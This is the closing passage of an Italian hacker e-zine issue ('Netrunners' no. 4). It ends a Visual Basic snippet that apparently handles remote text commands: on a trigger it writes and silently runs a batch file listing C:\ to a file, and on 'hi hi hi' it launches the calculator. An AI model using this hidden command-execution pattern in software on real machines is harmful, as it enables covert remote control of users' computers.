       Open "c:\dire.bat" For Output As #1
        Print #1, "dir c:\*.* > c:mio.txt"
        Print #1, ""
        Close #1
       a = Shell("c:\dire.bat", 0)
       End If
     
     ' mandando il testo "hi hi hi"
     ' apre la calcolatrice di windows.     
     If InStr(1, a$, "hi hi hi") > 0 Then
     a = Shell("c:\windows\calc.exe", 1)
        End If


  ecc..
  ecc..
  ecc..

 ----------------------------------------------------



  C'era altro che dovevo dire? .. no. Mi pare tutto. Tanto. Pure troppo forse. ;-)

 Master - Hacker
 
                                       
                                       
                                       _#_














                      This Is The End..My Only Friends,The End......
                      
                      
                        Netrunners numero qUaTTro By SpiPPoLaToRi
                         
                                       
                                       
                                        _FinE_
                                      
                                         